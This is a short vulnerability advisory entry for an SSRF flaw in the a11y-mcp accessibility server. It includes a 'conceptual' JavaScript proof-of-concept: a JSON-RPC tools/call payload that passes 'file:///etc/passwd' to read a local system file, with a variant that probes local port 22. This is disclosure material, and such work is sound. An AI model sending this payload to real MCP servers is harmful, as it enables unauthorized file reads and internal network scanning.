CVE-2026-5323 priyankark a11y-mcp 服务端请求伪造漏洞

// Conceptual PoC for CVE-2026-5323 // Target: priyankark a11y-mcp (<= 1.0.5) // This demonstrates how a malicious payload could be sent to the vulnerable A11yServer function. const maliciousPayload = { "jsonrpc": "2.0", "id": 1, "method": "tools/call", // Hypothetical method based on MCP structure "params": { "name": "check_accessibility", "arguments": { "url": "file:///etc/passwd" // Attempting to read local files via SSRF // Alternative: "url": "http://127.0.0.1:22" to scan local ports } } }; // The attacker sends this JSON object to the stdio input of the a11y-mcp process. // If vulnerable, the server will process the URL and return the content of /etc/passwd.